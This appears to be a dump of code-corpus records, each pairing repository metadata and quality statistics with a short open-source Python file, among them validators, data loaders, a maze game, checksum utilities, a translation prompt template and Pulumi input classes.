2fb575d06a3c86bc890e7fb97d321eba8f93157f

[ "MIT" ]

135

2021-03-16T16:47:12.000Z

2021-06-27T14:22:38.000Z

def perfect_square(x): if (x == 0 or x == 1): return x i = 1 result = 1 while (result <= x): i += 1 result = i * i return i - 1 x = int(input('Enter no.')) print(perfect_square(x))

15.4375

27

0.437247

36

247

2.944444

0.472222

0.056604

0.264151

0.169811

0

0.042254

0.425101

247

15

28

16.466667

0.704225

0

0.036437

0

1

0.090909

false

0

0.272727

0.090909

0

null

0

1

0

null

0

2

3939463bd0f07c5f73d7be7ea0d782b5a2f136d8

1,383

py

Python

managesf/services/nodepool/common.py

enovance/managesf

5f6bc6857ebbffb929a063ccc3ab94317fa3784a

[ "Apache-2.0" ]

null

managesf/services/nodepool/common.py

enovance/managesf

5f6bc6857ebbffb929a063ccc3ab94317fa3784a

[ "Apache-2.0" ]

null

managesf/services/nodepool/common.py

enovance/managesf

5f6bc6857ebbffb929a063ccc3ab94317fa3784a

[ "Apache-2.0" ]

null

#!/usr/bin/env python # # Copyright (C) 2016 Red Hat <licensing@enovance.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import re INPUT_FORMAT = re.compile("^[a-zA-Z0-9_-]+$", re.U) def get_values(line): return [u.strip() for u in line.split('|') if u.strip() != ''] def get_age(age): days, hours, minutes, sec = age.split(':') return (((int(days) * 24) + int(hours))*60 + int(minutes))*60 + int(sec) def validate_input(input): return INPUT_FORMAT.match(input) def validate_ssh_key(public_key): try: key_type, key, comment = public_key.split() if key_type not in ("ssh-rsa", "ssh-ecdsa", "ssh-ed25519"): raise ValueError("Invalid key type") if not re.match("^[A-Za-z0-9+/]+[=]{0,3}$", key): raise ValueError("Invalid key data") except ValueError: raise ValueError("Invalid public key")

30.065217

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0.670282

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1,383

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0.535885

0.065574

0.072131

0.034973

0

0.022462

0.195228

1,383

45

77

30.733333

0.799641

0.430224

0

0.153946

0.031048

0

1

0.222222

false

0

0.055556

0.111111

0.444444

0

null

0

null

0

1

0

1

0

2

393b93af5c514b1526b31d876323699fbb60feaf

748

py

Python

tests/kv_testdata.py

umerazad/precs

76bbc6b1c5fe2f53fe5790d026dc2a83c8960d3d

[ "0BSD" ]

null

tests/kv_testdata.py

umerazad/precs

76bbc6b1c5fe2f53fe5790d026dc2a83c8960d3d

[ "0BSD" ]

null

tests/kv_testdata.py

umerazad/precs

76bbc6b1c5fe2f53fe5790d026dc2a83c8960d3d

[ "0BSD" ]

null

# Default delimiters INPUT1 = ''' pid 2 uptime 675 version 1.2.5 END pid 1 uptime 2 version 3 END ''' OUTPUT1 = '''{"pid": "2", "uptime": "675", "version": "1.2.5"} {"pid": "1", "uptime": "2", "version": "3"} ''' # --field-delim '=', --record-delim '%\n' INPUT2 = ''' a=1 b=2 c=3 % d=4 e=5 f=6 % ''' OUTPUT2 = '''{"a": "1", "b": "2", "c": "3"} {"d": "4", "e": "5", "f": "6"} ''' # --field-delim '=', --entry-delim '|' --record-delim '%\n' INPUT3 = ''' a=1|b=2|c=3% d=4|e=5|f=6% ''' OUTPUT3 = '''{"a": "1", "b": "2", "c": "3"} {"d": "4", "e": "5", "f": "6"} ''' # --field-delim '=', --entry-delim '|' --record-delim '%' INPUT4 = ''' a=1|b=2|c=3%d=4|e=5|f=6% ''' OUTPUT4 = '''{"a": "1", "b": "2", "c": "3"} {"d": "4", "e": "5", "f": "6"} '''

14.666667

62

0.42246

130

748

2.430769

0.246154

0.037975

0.056962

0.075949

0.689873

0.56962

0.424051

0

0.103728

0.175134

748

50

63

14.96

0.408428

0.229947

0

0.289474

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0.052632

0.749123

0.042105

0

1

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false

0

null

0

1

0

1

0

null

0

2

39526d9c160599ac5932ecb9465bcdc3176c4e72

128

py

Python

csv2sql/meta.py

ymoch/csv2sql

22e20c1ccb7a5b21bacec6bd94b72d3c2e06bb4a

[ "MIT" ]

7

2017-03-07T03:05:12.000Z

2021-03-19T17:12:46.000Z

csv2sql/meta.py

ymoch/csv2sql

22e20c1ccb7a5b21bacec6bd94b72d3c2e06bb4a

[ "MIT" ]

15

2017-02-06T17:11:01.000Z

2018-08-18T02:55:17.000Z

csv2sql/meta.py

ymoch/csv2sql

22e20c1ccb7a5b21bacec6bd94b72d3c2e06bb4a

[ "MIT" ]

5

2017-02-05T18:20:00.000Z

2021-11-14T20:20:42.000Z

"""Meta information for csv2sql.""" __version__ = '0.4.1' __author__ = 'Yu Mochizuki' __author_email__ = 'ymoch.dev@gmail.com'

21.333333

40

0.71875

17

128

4.647059

0.941176

0

0.035398

0.117188

128

5

41

25.6

0.663717

0.226563

0

0.387097

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false

0

1

0

null

0

1

0

null

0

2

1a4105ad71311c7d4ce3c72af3483de90d72f0ab

1,877

py

Python

MDGM/Channel/load_data.py

xiayzh/MH-MDGM

203fb463ac968d1c566073111ff42ca55e7ea085

[ "MIT" ]

1

2021-07-22T06:10:08.000Z

MDGM/Channel/load_data.py

xiayzh/MH-MDGM

203fb463ac968d1c566073111ff42ca55e7ea085

[ "MIT" ]

null

MDGM/Channel/load_data.py

xiayzh/MH-MDGM

203fb463ac968d1c566073111ff42ca55e7ea085

[ "MIT" ]

2

2021-07-15T08:18:32.000Z

2022-03-28T20:56:28.000Z

import torch from torch.utils.data import DataLoader, TensorDataset from argparse import Namespace import matplotlib.pyplot as plt import matplotlib.ticker as ticker import numpy as np import h5py import json import os def load_data_1scale(hdf5_file, ndata, batch_size, singlescale=True): with h5py.File(hdf5_file, 'r') as f: x_data = f['train'][:ndata] data_tuple = (torch.FloatTensor(x_data), ) if singlescale else ( torch.FloatTensor(x_data), torch.FloatTensor(y_data)) data_loader = DataLoader(TensorDataset(*data_tuple), batch_size=batch_size, shuffle=True, drop_last=True) return data_loader def load_data_2scales(hdf5_file,hdf5_file1, ndata, batch_size, singlescale=False): with h5py.File(hdf5_file, 'r') as f: x2_data = f['train'][:ndata] with h5py.File(hdf5_file1, 'r') as f: x1_data = f['train'][:ndata] data_tuple = (torch.FloatTensor(x_data), ) if singlescale else ( torch.FloatTensor(x2_data), torch.FloatTensor(x1_data)) data_loader = DataLoader(TensorDataset(*data_tuple), batch_size=batch_size, shuffle=True, drop_last=True) print(f'Loaded dataset: {hdf5_file}') return data_loader def load_data_3scales(hdf5_file,hdf5_file1,hdf5_file2, ndata, batch_size, singlescale=False): with h5py.File(hdf5_file, 'r') as f: x3_data = f['train'][:ndata] with h5py.File(hdf5_file1, 'r') as f: x2_data = f['train'][:ndata] with h5py.File(hdf5_file2, 'r') as f: x1_data = f['train'][:ndata] data_tuple = (torch.FloatTensor(x_data), ) if singlescale else ( torch.FloatTensor(x3_data), torch.FloatTensor(x2_data),torch.FloatTensor(x1_data)) data_loader = DataLoader(TensorDataset(*data_tuple), batch_size=batch_size, shuffle=True, drop_last=True) return data_loader

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1a54b918c75b8f6851f014b049727a99f83a5fe1

925

py

Python

display_functions.py

JackGartner/MazeGame

cd055f7cb17cc25f0eb20b1adb747b710ca9f9bf

[ "MIT" ]

null

display_functions.py

JackGartner/MazeGame

cd055f7cb17cc25f0eb20b1adb747b710ca9f9bf

[ "MIT" ]

null

display_functions.py

JackGartner/MazeGame

cd055f7cb17cc25f0eb20b1adb747b710ca9f9bf

[ "MIT" ]

null

############# constants TITLE = "Cheese Maze" DEVELOPER = "Jack Gartner" HISTORY = "A mouse wants eat his cheese, Make it to the Hashtag to win, watch out for plus signs, $ is a teleport, P is a power up, Obtain the Key (K) in order to unlock the door (D)" INSTRUCTIONS = "left arrow key\t\t\tto move left\nright arrow key\t\t\tto move right\nup arrow key\t\t\tto move up\ndown arrow key\t\t\tto move down\npress q\t\t\t\t\tto quit" ############# functions def displayTitle(): print(TITLE) print("By " + DEVELOPER) print() print(HISTORY) print() print(INSTRUCTIONS) print() def displayBoard(): print("-----------------") print("| +\033[36mK\033[37m + \033[33mP\033[37m|") print("|\033[32m#\033[37m \033[31mD\033[37m + |") print("|++++ ++++++ |") print("| + |") print("| ++++++ +++++|") print("| \033[34m$\033[37m|") print("-----------------")

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null

0

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null

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1

0

2

1a639776c741dfa1f4d1cbf2f51170beef3a28d8

1,537

py

Python

concrete/common/debugging/custom_assert.py

iciac/concrete-numpy

debf888e9281263b731cfc4b31feb5de7ec7f47a

[ "FTL" ]

96

2022-01-12T15:07:50.000Z

2022-03-16T04:00:09.000Z

concrete/common/debugging/custom_assert.py

iciac/concrete-numpy

debf888e9281263b731cfc4b31feb5de7ec7f47a

[ "FTL" ]

10

2022-02-04T16:26:37.000Z

2022-03-25T14:08:01.000Z

concrete/common/debugging/custom_assert.py

iciac/concrete-numpy

debf888e9281263b731cfc4b31feb5de7ec7f47a

[ "FTL" ]

8

2022-01-12T15:07:55.000Z

2022-03-05T00:46:16.000Z

"""Provide some variants of assert.""" def _custom_assert(condition: bool, on_error_msg: str = "") -> None: """Provide a custom assert which is kept even if the optimized python mode is used. See https://docs.python.org/3/reference/simple_stmts.html#assert for the documentation on the classical assert function Args: condition(bool): the condition. If False, raise AssertionError on_error_msg(str): optional message for precising the error, in case of error """ if not condition: raise AssertionError(on_error_msg) def assert_true(condition: bool, on_error_msg: str = ""): """Provide a custom assert to check that the condition is True. Args: condition(bool): the condition. If False, raise AssertionError on_error_msg(str): optional message for precising the error, in case of error """ return _custom_assert(condition, on_error_msg) def assert_false(condition: bool, on_error_msg: str = ""): """Provide a custom assert to check that the condition is False. Args: condition(bool): the condition. If True, raise AssertionError on_error_msg(str): optional message for precising the error, in case of error """ return _custom_assert(not condition, on_error_msg) def assert_not_reached(on_error_msg: str): """Provide a custom assert to check that a piece of code is never reached. Args: on_error_msg(str): message for precising the error """ return _custom_assert(False, on_error_msg)

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2

1a69e9ece626680008e91494fee44dc21b018bc4

501

py

Python

third_party/gsutil/third_party/rsa/tests/test_parallel.py

tingshao/catapult

a8fe19e0c492472a8ed5710be9077e24cc517c5c

[ "BSD-3-Clause" ]

5,079

2015-01-01T03:39:46.000Z

2022-03-31T07:38:22.000Z

third_party/gsutil/third_party/rsa/tests/test_parallel.py

tingshao/catapult

a8fe19e0c492472a8ed5710be9077e24cc517c5c

[ "BSD-3-Clause" ]

4,640

2015-07-08T16:19:08.000Z

2019-12-02T15:01:27.000Z

third_party/gsutil/third_party/rsa/tests/test_parallel.py

tingshao/catapult

a8fe19e0c492472a8ed5710be9077e24cc517c5c

[ "BSD-3-Clause" ]

2,033

2015-01-04T07:18:02.000Z

2022-03-28T19:55:47.000Z

"""Test for multiprocess prime generation.""" import unittest import rsa.prime import rsa.parallel import rsa.common class ParallelTest(unittest.TestCase): """Tests for multiprocess prime generation.""" def test_parallel_primegen(self): p = rsa.parallel.getprime(1024, 3) self.assertFalse(rsa.prime.is_prime(p - 1)) self.assertTrue(rsa.prime.is_prime(p)) self.assertFalse(rsa.prime.is_prime(p + 1)) self.assertEqual(1024, rsa.common.bit_size(p))

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null

0

1

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1

0

2

1a6a4976a069bdb461e9c492db9b0df3067479e6

1,906

py

Python

downloadutil/checksum_util.py

yugabyte/downloadutil

231c472b60e78ef3033b9e90d5e7b4231f64e228

[ "Apache-2.0" ]

2

2021-04-06T00:49:03.000Z

2021-04-06T17:44:04.000Z

downloadutil/checksum_util.py

mbautin/downloadutil

19995e08c03ac267ba0e6f9b4724a12df247f79a

[ "Apache-2.0" ]

null

downloadutil/checksum_util.py

mbautin/downloadutil

19995e08c03ac267ba0e6f9b4724a12df247f79a

[ "Apache-2.0" ]

1

2021-04-19T20:16:42.000Z

import os from downloadutil.util import BUFFER_SIZE_BYTES from typing import Any import re import hashlib SHA256_CHECKSUM_RE = re.compile(r'^[0-9a-f]{64}$') SHA256_CHECKSUM_FILE_SUFFIX = '.sha256' def validate_sha256sum(checksum_str: str) -> None: """ Validtes the given SHA256 checksum. Raises an exception if it is invalid. """ if not SHA256_CHECKSUM_RE.match(checksum_str): raise ValueError( "Invalid SHA256 checksum: '%s', expected 64 hex characters" % checksum_str) def update_hash_with_file(hash: Any, filename: str, block_size: int = BUFFER_SIZE_BYTES) -> str: """ Compute the hash sun of a file by updating the existing hash object. """ # TODO: use a more precise argument type for hash. with open(filename, "rb") as f: for block in iter(lambda: f.read(block_size), b""): hash.update(block) return hash.hexdigest() def compute_file_sha256(path: str) -> str: return update_hash_with_file(hashlib.sha256(), path) def compute_string_sha256(s: str) -> str: hash = hashlib.sha256() hash.update(s.encode('utf-8')) return hash.hexdigest() def parse_sha256_from_file(checksum_file_contents: str) -> str: sha256_from_file = checksum_file_contents.strip().split()[0] validate_sha256sum(sha256_from_file) return sha256_from_file def read_sha256_from_file(checksum_file_path: str) -> str: with open(checksum_file_path) as checksum_file: return parse_sha256_from_file(checksum_file.readline()) def get_sha256_file_path_or_url(original_path_or_url: str) -> str: if original_path_or_url.endswith(SHA256_CHECKSUM_FILE_SUFFIX): raise ValueError( f"File path or URL already ends with {SHA256_CHECKSUM_FILE_SUFFIX}: " f"{original_path_or_url}, will not add the same suffix again.") return original_path_or_url + SHA256_CHECKSUM_FILE_SUFFIX

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0

null

0

null

0

1

0

1

0

2

1a7d2fcf53ebdeb2535adbc73a4ba527aae98102

851

py

Python

matilda/data_pipeline/data_scapers/__init__.py

AlainDaccache/Quantropy

6cfa06ed2b764471382ebf94d40af867f10433bb

[ "MIT" ]

45

2021-01-28T04:12:21.000Z

2022-02-24T13:15:50.000Z

matilda/data_pipeline/data_scapers/__init__.py

AlainDaccache/Quantropy

6cfa06ed2b764471382ebf94d40af867f10433bb

[ "MIT" ]

32

2021-03-02T18:45:16.000Z

2022-03-12T00:53:10.000Z

matilda/data_pipeline/data_scapers/__init__.py

AlainDaccache/Quantropy

6cfa06ed2b764471382ebf94d40af867f10433bb

[ "MIT" ]

10

2020-12-25T15:02:40.000Z

2021-12-30T11:40:15.000Z

import os from matilda import config if not os.path.exists(config.DATA_DIR_PATH): os.mkdir(config.DATA_DIR_PATH) if not os.path.exists(config.STOCK_PRICES_DIR_PATH): os.mkdir(config.STOCK_PRICES_DIR_PATH) if not os.path.exists(config.FINANCIAL_STATEMENTS_DIR_PATH): os.mkdir(config.FINANCIAL_STATEMENTS_DIR_PATH) if not os.path.exists(config.FACTORS_DIR_PATH): os.mkdir(config.FACTORS_DIR_PATH) if not os.path.exists(os.path.join(config.FACTORS_DIR_PATH, 'pickle')): os.mkdir(os.path.join(config.FACTORS_DIR_PATH, 'pickle')) if not os.path.exists(config.MARKET_DATA_DIR_PATH): os.mkdir(config.MARKET_DATA_DIR_PATH) if not os.path.exists(config.MARKET_EXCHANGES_DIR_PATH): os.mkdir(config.MARKET_EXCHANGES_DIR_PATH) if not os.path.exists(config.MARKET_INDICES_DIR_PATH): os.mkdir(config.MARKET_INDICES_DIR_PATH)

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null

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0

null

0

1

0

2

1a9a8e80bd2521574b1116072fe9325844dc32a0

1,928

py

Python

argostranslate/fewshot.py

argosopentechnologies/Argos-Translate

c834ef224418a830abe8ca4ed4e942f4ea07cbca

[ "MIT" ]

1,114

2020-08-29T20:52:50.000Z

2022-03-30T06:06:52.000Z

argostranslate/fewshot.py

argosopentechnologies/Argos-Translate

c834ef224418a830abe8ca4ed4e942f4ea07cbca

[ "MIT" ]

145

2020-11-27T18:45:29.000Z

2022-03-22T06:30:13.000Z

argostranslate/fewshot.py

argosopentechnologies/Argos-Translate

c834ef224418a830abe8ca4ed4e942f4ea07cbca

[ "MIT" ]

85

2020-10-27T18:56:27.000Z

2022-03-28T08:14:58.000Z

prompt = """Translate to French (fr) From English (es) ========== Bramshott is a village with mediaeval origins in the East Hampshire district of Hampshire, England. It lies 0.9 miles (1.4 km) north of Liphook. The nearest railway station, Liphook, is 1.3 miles (2.1 km) south of the village. ---------- Bramshott est un village avec des origines médiévales dans le quartier East Hampshire de Hampshire, en Angleterre. Il se trouve à 0,9 miles (1,4 km) au nord de Liphook. La gare la plus proche, Liphook, est à 1,3 km (2,1 km) au sud du village. ========== Translate to Russian (rs) From German (de) ========== Der Gewöhnliche Strandhafer (Ammophila arenaria (L.) Link; Syn: Calamagrostis arenaria (L.) Roth) – auch als Gemeiner Strandhafer, Sandrohr, Sandhalm, Seehafer oder Helm (niederdeutsch) bezeichnet – ist eine zur Familie der Süßgräser (Poaceae) gehörige Pionierpflanze. ---------- Обычная пляжная овсянка (аммофила ареалия (л.) соединение; сина: каламагростисная анария (л.) Рот, также называемая обычной пляжной овцой, песчаной, сандалмой, морской орой или шлемом (нижний немецкий) - это кукольная станция, принадлежащая семье сладких трав (поа). ========== """ def generate_prompt(text, from_name, from_code, to_name, to_code): # TODO: document to_return = prompt to_return += "Translate to " if from_name: to_return += from_name if from_code: to_return += " (" + from_code + ")" to_return += "\nFrom " if to_name: to_return += to_name if from_code: to_return += " (" + to_code + ")" to_return += "\n" + "=" * 10 + "\n" to_return += text to_return += "\n" + "-" * 10 + "\n" return to_return def parse_inference(output): end_index = output.find("=" * 10) if end_index != -1: return output[end_index] end_index = output.find("-" * 10) if end_index != -1: return output[end_index] return output

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null

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1

0

null

0

1

0

2

1aa27bde9bc49424ded543bbec234b99e8e981c0

612

py

Python

1_beginner/chapter5/practice/fibonnaci.py

code4tomorrow/Python

035b6f5d8fd635a16caaff78bcd3f582663dadc3

[ "MIT" ]

4

2021-03-01T00:32:45.000Z

2021-05-21T22:01:52.000Z

1_beginner/chapter5/practice/fibonnaci.py

code4tomorrow/Python

035b6f5d8fd635a16caaff78bcd3f582663dadc3

[ "MIT" ]

29

2020-09-12T22:56:04.000Z

2021-09-25T17:08:42.000Z

1_beginner/chapter5/practice/fibonnaci.py

code4tomorrow/Python

035b6f5d8fd635a16caaff78bcd3f582663dadc3

[ "MIT" ]

7

2021-02-25T01:50:55.000Z

2022-02-28T00:00:42.000Z

""" CHALLENGE PROBLEM!! NOT FOR THE FAINT OF HEART! The Fibonacci numbers, discovered by Leonardo di Fibonacci, is a sequence of numbers that often shows up in mathematics and, interestingly, nature. The sequence goes as such: 1,1,2,3,5,8,13,21,34,55,... where the sequence starts with 1 and 1, and then each number is the sum of the previous 2. For example, 8 comes after 5 because 5+3 = 8, and 55 comes after 34 because 34+21 = 55. The challenge is to use a for loop (not recursion, if you know what that is), to find the 100th Fibonnaci number. """ # write code here # Can you do it with a while loop?

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1abd7c515172b6d604dfe87c1aded58ad1b6e3ac

492

py

Python

src/main/python/smv/__init__.py

shuangshuangwang/SMV

021faece3f0fefca6051df8415789b14bc9a60ed

[ "Apache-2.0" ]

null

src/main/python/smv/__init__.py

shuangshuangwang/SMV

021faece3f0fefca6051df8415789b14bc9a60ed

[ "Apache-2.0" ]

null

src/main/python/smv/__init__.py

shuangshuangwang/SMV

021faece3f0fefca6051df8415789b14bc9a60ed

[ "Apache-2.0" ]

null

# flake8: noqa # Smv DataSet Framework from smv.smvdataset import * from smv.smvinput import * from smv.smvapp import SmvApp from smv.runconfig import SmvRunConfig from smv.csv_attributes import CsvAttributes from smv.helpers import SmvGroupedData from smv.historical_validators import SmvHistoricalValidator, SmvHistoricalValidators # keep old py names for backwards compatibility SmvPyCsvFile = SmvCsvFile SmvPyModule = SmvModule SmvPyOutput = SmvOutput SmvPyModuleLink = SmvModuleLink

25.894737

85

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0.642857

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27.333333

0.951389

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0

0.636364

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null

0

null

0

1

0

1

0

2

1abf7a7b43b01f4c19f97b7dac03bed2d51e14f1

578

py

Python

api/middlewares/cors.py

lndba/apasa_backend

e0bb96e22a22f6e2a5a2826f225388113473e7e2

[ "Apache-2.0" ]

1

2019-08-06T07:31:40.000Z

api/middlewares/cors.py

lndba/apasa_backend

e0bb96e22a22f6e2a5a2826f225388113473e7e2

[ "Apache-2.0" ]

null

api/middlewares/cors.py

lndba/apasa_backend

e0bb96e22a22f6e2a5a2826f225388113473e7e2

[ "Apache-2.0" ]

null

from django.utils.deprecation import MiddlewareMixin from django.conf import settings class Cors(MiddlewareMixin): def process_response(self, request, response): response['Access-Control-Allow-Origin'] = ','.join(settings.CORS_ORIGIN_LIST) if request.method == 'OPTIONS': response['Access-Control-Allow-Methods'] = ','.join(settings.CORS_METHOD_LIST) response['Access-Control-Allow-Headers'] = ','.join(settings.CORS_HEADER_LIST) response['Access-Control-Allow-Credentials'] = 'true' return response

44.461538

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578

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0

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0.2

0

0.5

0

null

0

1

0

null

0

2

1ac640bde4922315bdde8d12b4c3d89647d4b369

1,204

py

Python

target_decisioning_engine/filters.py

adobe/target-python-sdk

f3e9b1bb6c8e1984e3d758ab1fe1a71225ade13e

[ "Apache-2.0" ]

3

2021-05-25T20:10:46.000Z

2021-06-15T05:49:18.000Z

target_decisioning_engine/filters.py

adobe/target-python-sdk

f3e9b1bb6c8e1984e3d758ab1fe1a71225ade13e

[ "Apache-2.0" ]

15

2021-01-13T22:53:25.000Z

2021-09-03T23:11:25.000Z

target_decisioning_engine/filters.py

adobe/target-python-sdk

f3e9b1bb6c8e1984e3d758ab1fe1a71225ade13e

[ "Apache-2.0" ]

4

2021-01-04T18:44:01.000Z

2022-03-15T21:30:11.000Z

# Copyright 2021 Adobe. All rights reserved. # This file is licensed to you under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. You may obtain a copy # of the License at http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software distributed under # the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS # OF ANY KIND, either express or implied. See the License for the specific language # governing permissions and limitations under the License. """filters""" from target_tools.utils import is_empty def by_property_token(property_token): """ :param property_token: (str) property token, required :return: (callable) Returns filter predicate """ def _filter(rule): """ :param rule: (target_decisioning_engine.types.decisioning_artifact.Rule) rule :return: (bool) """ property_tokens = rule.get("propertyTokens", []) return is_empty(property_tokens) if not property_token else \ (is_empty(property_tokens) or property_token in property_tokens) return _filter

38.83871

88

0.725914

165

1,204

5.181818

0.563636

0.070175

0.030409

0.037427

0

0.008256

0.195183

1,204

30

89

40.133333

0.874097

0.653654

0

0.039548

0

1

0.285714

false

0

0.142857

0

0.714286

0

null

0

null

0

1

0

1

0

2

46e03e67100272373dbf1ee88d5d16ecb5dcbff8

337

py

Python

devilry/devilry_dbcache/devilry_dbcache_testapp/models.py

aless80/devilry-django

416c262e75170d5662542f15e2d7fecf5ab84730

[ "BSD-3-Clause" ]

29

2015-01-18T22:56:23.000Z

2020-11-10T21:28:27.000Z

devilry/devilry_dbcache/devilry_dbcache_testapp/models.py

aless80/devilry-django

416c262e75170d5662542f15e2d7fecf5ab84730

[ "BSD-3-Clause" ]

786

2015-01-06T16:10:18.000Z

2022-03-16T11:10:50.000Z

devilry/devilry_dbcache/devilry_dbcache_testapp/models.py

aless80/devilry-django

416c262e75170d5662542f15e2d7fecf5ab84730

[ "BSD-3-Clause" ]

15

2015-04-06T06:18:43.000Z

2021-02-24T12:28:30.000Z

from django.db import models from devilry.devilry_dbcache.bulk_create_queryset_mixin import BulkCreateQuerySetMixin class PersonQuerySet(models.QuerySet, BulkCreateQuerySetMixin): pass class Person(models.Model): objects = PersonQuerySet.as_manager() name = models.TextField() age = models.IntegerField(default=20)

22.466667

86

0.792285

37

337

7.081081

0.702703

0

0.006849

0.133531

337

14

87

24.071429

0.890411

0

1

0

false

0.125

0.25

0

0.875

0

null

0

null

0

1

0

1

0

2

46e068f2889b5047e1c0fa0277cf1e07cf95b860

34,375

py

Python

sdk/python/pulumi_google_native/cloudsearch/v1/_inputs.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

44

2021-04-18T23:00:48.000Z

2022-02-14T17:43:15.000Z

sdk/python/pulumi_google_native/cloudsearch/v1/_inputs.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

354

2021-04-16T16:48:39.000Z

2022-03-31T17:16:39.000Z

sdk/python/pulumi_google_native/cloudsearch/v1/_inputs.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

8

2021-04-24T17:46:51.000Z

2022-01-05T10:40:21.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from ._enums import * __all__ = [ 'CompositeFilterArgs', 'DataSourceRestrictionArgs', 'DateArgs', 'FacetOptionsArgs', 'FilterOptionsArgs', 'FilterArgs', 'GSuitePrincipalArgs', 'QueryInterpretationConfigArgs', 'ScoringConfigArgs', 'SortOptionsArgs', 'SourceConfigArgs', 'SourceCrowdingConfigArgs', 'SourceScoringConfigArgs', 'SourceArgs', 'ValueFilterArgs', 'ValueArgs', ] @pulumi.input_type class CompositeFilterArgs: def __init__(__self__, *, logic_operator: Optional[pulumi.Input['CompositeFilterLogicOperator']] = None, sub_filters: Optional[pulumi.Input[Sequence[pulumi.Input['FilterArgs']]]] = None): """ :param pulumi.Input['CompositeFilterLogicOperator'] logic_operator: The logic operator of the sub filter. :param pulumi.Input[Sequence[pulumi.Input['FilterArgs']]] sub_filters: Sub filters. """ if logic_operator is not None: pulumi.set(__self__, "logic_operator", logic_operator) if sub_filters is not None: pulumi.set(__self__, "sub_filters", sub_filters) @property @pulumi.getter(name="logicOperator") def logic_operator(self) -> Optional[pulumi.Input['CompositeFilterLogicOperator']]: """ The logic operator of the sub filter. """ return pulumi.get(self, "logic_operator") @logic_operator.setter def logic_operator(self, value: Optional[pulumi.Input['CompositeFilterLogicOperator']]): pulumi.set(self, "logic_operator", value) @property @pulumi.getter(name="subFilters") def sub_filters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['FilterArgs']]]]: """ Sub filters. """ return pulumi.get(self, "sub_filters") @sub_filters.setter def sub_filters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['FilterArgs']]]]): pulumi.set(self, "sub_filters", value) @pulumi.input_type class DataSourceRestrictionArgs: def __init__(__self__, *, filter_options: Optional[pulumi.Input[Sequence[pulumi.Input['FilterOptionsArgs']]]] = None, source: Optional[pulumi.Input['SourceArgs']] = None): """ Restriction on Datasource. :param pulumi.Input[Sequence[pulumi.Input['FilterOptionsArgs']]] filter_options: Filter options restricting the results. If multiple filters are present, they are grouped by object type before joining. Filters with the same object type are joined conjunctively, then the resulting expressions are joined disjunctively. The maximum number of elements is 20. NOTE: Suggest API supports only few filters at the moment: "objecttype", "type" and "mimetype". For now, schema specific filters cannot be used to filter suggestions. :param pulumi.Input['SourceArgs'] source: The source of restriction. """ if filter_options is not None: pulumi.set(__self__, "filter_options", filter_options) if source is not None: pulumi.set(__self__, "source", source) @property @pulumi.getter(name="filterOptions") def filter_options(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['FilterOptionsArgs']]]]: """ Filter options restricting the results. If multiple filters are present, they are grouped by object type before joining. Filters with the same object type are joined conjunctively, then the resulting expressions are joined disjunctively. The maximum number of elements is 20. NOTE: Suggest API supports only few filters at the moment: "objecttype", "type" and "mimetype". For now, schema specific filters cannot be used to filter suggestions. """ return pulumi.get(self, "filter_options") @filter_options.setter def filter_options(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['FilterOptionsArgs']]]]): pulumi.set(self, "filter_options", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input['SourceArgs']]: """ The source of restriction. """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input['SourceArgs']]): pulumi.set(self, "source", value) @pulumi.input_type class DateArgs: def __init__(__self__, *, day: Optional[pulumi.Input[int]] = None, month: Optional[pulumi.Input[int]] = None, year: Optional[pulumi.Input[int]] = None): """ Represents a whole calendar date, for example a date of birth. The time of day and time zone are either specified elsewhere or are not significant. The date is relative to the [Proleptic Gregorian Calendar](https://en.wikipedia.org/wiki/Proleptic_Gregorian_calendar). The date must be a valid calendar date between the year 1 and 9999. :param pulumi.Input[int] day: Day of month. Must be from 1 to 31 and valid for the year and month. :param pulumi.Input[int] month: Month of date. Must be from 1 to 12. :param pulumi.Input[int] year: Year of date. Must be from 1 to 9999. """ if day is not None: pulumi.set(__self__, "day", day) if month is not None: pulumi.set(__self__, "month", month) if year is not None: pulumi.set(__self__, "year", year) @property @pulumi.getter def day(self) -> Optional[pulumi.Input[int]]: """ Day of month. Must be from 1 to 31 and valid for the year and month. """ return pulumi.get(self, "day") @day.setter def day(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "day", value) @property @pulumi.getter def month(self) -> Optional[pulumi.Input[int]]: """ Month of date. Must be from 1 to 12. """ return pulumi.get(self, "month") @month.setter def month(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "month", value) @property @pulumi.getter def year(self) -> Optional[pulumi.Input[int]]: """ Year of date. Must be from 1 to 9999. """ return pulumi.get(self, "year") @year.setter def year(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "year", value) @pulumi.input_type class FacetOptionsArgs: def __init__(__self__, *, num_facet_buckets: Optional[pulumi.Input[int]] = None, object_type: Optional[pulumi.Input[str]] = None, operator_name: Optional[pulumi.Input[str]] = None, source_name: Optional[pulumi.Input[str]] = None): """ Specifies operators to return facet results for. There will be one FacetResult for every source_name/object_type/operator_name combination. :param pulumi.Input[int] num_facet_buckets: Maximum number of facet buckets that should be returned for this facet. Defaults to 10. Maximum value is 100. :param pulumi.Input[str] object_type: If object_type is set, only those objects of that type will be used to compute facets. If empty, then all objects will be used to compute facets. :param pulumi.Input[str] operator_name: Name of the operator chosen for faceting. @see 